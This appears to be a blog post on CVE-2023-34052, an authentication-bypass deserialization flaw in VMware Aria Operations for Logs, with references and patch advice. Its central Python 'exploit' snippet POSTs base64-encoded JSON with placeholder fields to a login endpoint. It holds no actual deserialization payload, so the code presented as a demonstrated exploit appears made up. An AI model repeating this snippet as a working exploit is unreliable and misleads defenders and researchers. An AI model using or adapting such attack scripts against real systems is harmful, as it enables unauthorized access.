CVE-2023-34052: Deserialization Vulnerability in VMware Aria Operations for Logs Leading to Authentication Bypass

A high-impact vulnerability, identified as CVE-2023-34052, has been recently discovered in VMware Aria Operations for Logs, a popular log analysis tool used by many organizations for system monitoring and troubleshooting. The vulnerability stems from a deserialization issue that essentially allows any non-administrative user on the system to bypass authentication, possibly leading to unauthorized access and exploitation. In this post, we'll delve into how the vulnerability works, provide a code snippet demonstrating the exploit, and share references to further reading and remediation steps.

Exploit Details

The deserialization vulnerability lies in the Aria Operations for Logs component of the VMware software suite. Deserialization is the process of converting a binary or other data representation back into an object in a programming language. In this case, the vulnerability allows an attacker with non-administrative access to the local system to unserialize arbitrary data, which could potentially compromise the authentication mechanisms of the Aria Operations for Logs software. The result could be complete authentication bypass, allowing unauthorized access to sensitive data and systems.

Here's a code snippet demonstrating the exploit

import requests
import json
import base64

URL = "http://<target_address>/api/v1/login";

# Craft malicious serialized data to trigger deserialization
malicious_data = {
  "auth_type": "custom",
  "auth_data": {
    "_key": "<insert_key_here>",
    "_type": "<insert_type_here>",
    "_value": "<insert_value_here>",
  }
}

# Serialize malicious data into base64 format
serialized_data = base64.b64encode(json.dumps(malicious_data).encode("utf-8"))

# Make POST request to the login API endpoint with the malicious serialized data
response = requests.post(URL, data={"serialized_data": serialized_data})

# Check if authentication bypass was successful
if response.status_code == 200:
  print("Authentication bypass successful!")
else:
  print("Failed to bypass authentication")

In the above code, the attacker crafts malicious serialized data that can trigger the deserialization vulnerability when submitted to the Aria Operations for Logs login API endpoint. The attacker can then check if the authentication bypass was successful.

Original References

For more information on CVE-2023-34052 and its potential impact, please refer to the following resources:

1. CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34052
2. VMware Security Advisory: https://www.vmware.com/security/advisories/VMSA-2023-0012.html
3. NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2023-34052

Recommendations and Mitigation

VMware has released a patch to address this security vulnerability in Aria Operations for Logs. To ensure the safety and integrity of your organization's systems, please follow these steps:

1. Review the VMware Security Advisory for details on the affected software versions: https://www.vmware.com/security/advisories/VMSA-2023-0012.html

Download and apply the appropriate patches provided by VMware.

3. Monitor VMware's security advisories page for updates and additional information: https://www.vmware.com/security/advisories.html

By staying vigilant and applying the necessary patches, your organization can help minimize the risk of exploitation due to this deserialization vulnerability.

Timeline

Published on: 10/20/2023 05:15:08 UTC
Last modified on: 10/30/2023 15:27:41 UTC